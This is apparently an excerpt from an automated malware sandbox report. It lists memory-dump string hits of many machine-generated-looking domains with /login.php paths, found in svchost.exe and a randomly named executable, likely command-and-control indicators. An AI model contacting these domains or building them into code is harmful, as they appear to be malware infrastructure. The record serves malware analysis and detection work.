Source: svchost.exe, 00000002.00000003.2729337658.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2360502034.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2358968663.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2358089375.00000000092C8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2359102012.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2735954545.0000000003368000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pupywyv.com/login.php
Source: svchost.exe, 00000002.00000003.2349886516.00000000092A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pupyxal.com/H
Source: svchost.exe, 00000002.00000003.2649333466.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2657780583.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346961253.0000000003360000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pupyxal.com/login.php
Source: svchost.exe, 00000002.00000003.2337886081.00000000092C7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2344956997.0000000003378000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337007716.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2601374159.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2571444797.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335731822.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2342419975.0000000003378000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2612862437.00000000092B7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332264267.0000000003378000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2344054756.0000000003378000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://purycul.com/login.php
Source: svchost.exe, 00000002.00000003.2397665900.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2414263063.00000000033CA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2197741050.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2425745567.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2422762232.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2388405607.00000000033C0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2178331950.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2185840806.00000000092B7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2185076169.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000002.2622033644.0000000008E90000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2718258067.0000000008D72000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2744689381.0000000009396000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2613849314.0000000000F68000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2671362092.00000000086C1000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2608350004.0000000000802000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2671362092.0000000008682000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000000B.00000002.2745540362.00000000093CD000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000013.00000002.2640207678.0000000001363000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000013.00000002.2756051050.000000000914B000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000015.00000002.2856769526.0000000008FC3000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000015.00000002.2676238100.00000000010BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://purydyv.com/login.php
Source: svchost.exe, 00000002.00000003.2337886081.00000000092C7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2329364841.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337007716.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2327922219.00000000092C0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2607855494.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2330522610.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335731822.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2609571355.0000000003368000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://purygeg.com/login.php
Source: svchost.exe, 00000002.00000003.2757808782.0000000003319000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://purygiv.com/login.php
Source: svchost.exe, 00000002.00000003.2666875773.00000000040F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2678962210.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2657780583.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2693258532.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667608142.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667583572.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2665259102.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667040821.00000000040FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://puryjeq.com/login.php
Source: svchost.exe, 00000002.00000003.2513678339.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2310815345.0000000003368000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2322419492.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2311968303.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2542956129.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2310767470.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513019694.0000000000851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2499635923.0000000000855000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2314873415.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2322755404.00000000092B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://puryjil.com/login.php
Source: svchost.exe, 00000002.00000002.3428370692.00000000092EB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2919185604.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2380581815.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2380222392.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3287645590.00000000092EA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2908725007.00000000040FB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2905696441.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3421967691.00000000040FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3426788667.0000000009235000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://purylal.com/login.php
Source: svchost.exe, 00000002.00000003.2649333466.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347333934.0000000000851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347614295.0000000000853000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://purylup.com/login.php
Source: svchost.exe, 00000002.00000003.2359792353.000000000924A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2360483972.000000000924A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://purymog.com/http://qegylul.com/http://lyryman.com/P
Source: svchost.exe, 00000002.00000003.2726510414.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2360502034.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2760150538.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2746470521.00000000092B7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2358968663.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2358089375.00000000092C8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2359102012.00000000092C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://purymog.com/login.php
Source: svchost.exe, 00000002.00000003.2376137841.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2879404289.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2884058737.00000000092E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://purypig.com/login.php
Source: svchost.exe, 00000002.00000003.2346403174.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346603921.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2649350353.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346961253.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356885542.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346691543.00000000092BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356000937.00000000092BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349309789.00000000092C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://purytov.com/login.php
Source: svchost.exe, 00000002.00000003.2289346650.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296615273.000000000337B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2496966130.0000000000851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2289345179.00000000092B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://purytyg.com/login.php
Source: svchost.exe, 00000002.00000003.2666875773.00000000040F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2678962210.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667617957.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2693258532.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667608142.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667583572.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2665259102.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667040821.00000000040FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://purywyl.com/login.php
Source: svchost.exe, 00000002.00000003.2678962210.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2657780583.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2693258532.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2672508299.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667608142.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667583572.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2665259102.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667040821.00000000040FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://puvybuv.com/login.php
Source: svchost.exe, 00000002.00000003.2726510414.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2360502034.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2760150538.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2361214474.0000000003356000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2746470521.00000000092B7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2363843323.0000000003378000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2358968663.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2358089375.00000000092C8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2360803451.0000000003378000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2359102012.00000000092C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://puvydyp.com/login.php
Source: svchost.exe, 00000002.00000003.2678962210.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667617957.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2693258532.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2653309169.00000000033EE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667608142.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667040821.00000000040FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://puvygog.com/login.php
Source: svchost.exe, 00000002.00000003.2397665900.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3419128942.000000000336B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3427392798.0000000009288000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2925665962.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2425745567.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2927397659.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2381728153.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2388806823.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2928746848.00000000092B7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3279511546.0000000003369000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2422762232.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2928459922.0000000003368000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3427876534.00000000092B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://puvygyv.com/login.php
Source: svchost.exe, 00000002.00000002.3428370692.00000000092EB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2919185604.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2379463124.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2380581815.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2380222392.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3287645590.00000000092EA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2905696441.00000000092E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://puvyjiq.com/login.php
Source: svchost.exe, 00000002.00000003.2289346650.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2287542216.0000000003330000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2496966130.0000000000851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2289345179.00000000092B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://puvyjop.com/login.php
Source: svchost.exe, 00000002.00000003.2649333466.00000000092E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://puvyjyl.com/H
Source: svchost.exe, 00000002.00000003.2346403174.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346603921.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2649747897.00000000040F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667617957.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2649350353.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2647496494.00000000040F3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356885542.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346691543.00000000092BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356000937.00000000092BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349309789.00000000092C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://puvyjyl.com/login.php
Source: svchost.exe, 00000002.00000003.2885524752.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2879404289.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2377025491.00000000092C7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2380581815.00000000092C2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2896263867.0000000000854000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://puvylep.com/login.php
Source: svchost.exe, 00000002.00000003.2649333466.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2647508543.000000000332F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347333934.0000000000851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2642575826.000000000332F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347614295.0000000000853000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://puvymaq.com/login.php
Source: svchost.exe, 00000002.00000003.2329963433.0000000003319000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328865580.0000000003315000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2329926664.0000000003317000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2330471483.00000000092D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://puvypul.com/
Source: svchost.exe, 00000002.00000003.2337886081.00000000092C7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2329364841.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337007716.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2329971226.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2330522610.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335731822.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2547959760.00000000092E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://puvypul.com/login.php
Source: svchost.exe, 00000002.00000003.2397665900.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2388023341.0000000000852000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2425745567.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2422762232.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2178331950.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2178415911.00000000033F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2386784820.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2385120826.00000000033EB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2185076169.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2398171627.0000000000854000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2387081098.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000002.2604863482.00000000010A3000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000002.2622033644.0000000008E90000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000003.2572564754.0000000000FB2000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2718258067.0000000008D47000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2718258067.0000000008D8F000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2744689381.0000000009396000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000003.2558068199.0000000008D9F000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2671362092.00000000086C1000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2608350004.00000000007DF000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000000B.00000002.2614917822.00000000014D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://puvytuq.com/login.php
Source: svchost.exe, 00000002.00000002.3428370692.00000000092EB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2919185604.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3287645590.00000000092EA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3408110880.0000000000855000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3421967691.00000000040FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://puzybeq.com/login.php
Source: svchost.exe, 00000002.00000003.2678962210.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2672508299.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667583572.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2665259102.00000000092E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://puzybil.com/login.php
Source: svchost.exe, 00000002.00000003.2509683984.0000000003368000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2322419492.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2311968303.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2527939785.0000000003368000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2523187509.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2310767470.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2512099666.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2506997946.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2314873415.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2322755404.00000000092B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://puzydal.com/login.php
Source: svchost.exe, 00000002.00000003.2397665900.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2425745567.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2381728153.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3408110880.0000000000855000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2422762232.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3421967691.00000000040FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://puzydog.com/login.php
Source: svchost.exe, 00000002.00000003.2678962210.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2693258532.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667608142.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667583572.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2665259102.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356885542.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667040821.00000000040FB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356000937.00000000092BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://puzyduq.com/login.php
Source: svchost.exe, 00000002.00000003.2346403174.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2649333466.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346603921.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2657780583.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2649747897.00000000040F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349255775.0000000003379000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2647496494.00000000040F3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346961253.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346691543.00000000092BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349309789.00000000092C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://puzygop.com/login.php
Source: svchost.exe, 00000002.00000003.2346403174.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346603921.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2342419975.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2635305989.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346961253.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346691543.00000000092BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349309789.00000000092C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://puzyjyg.com/login.php
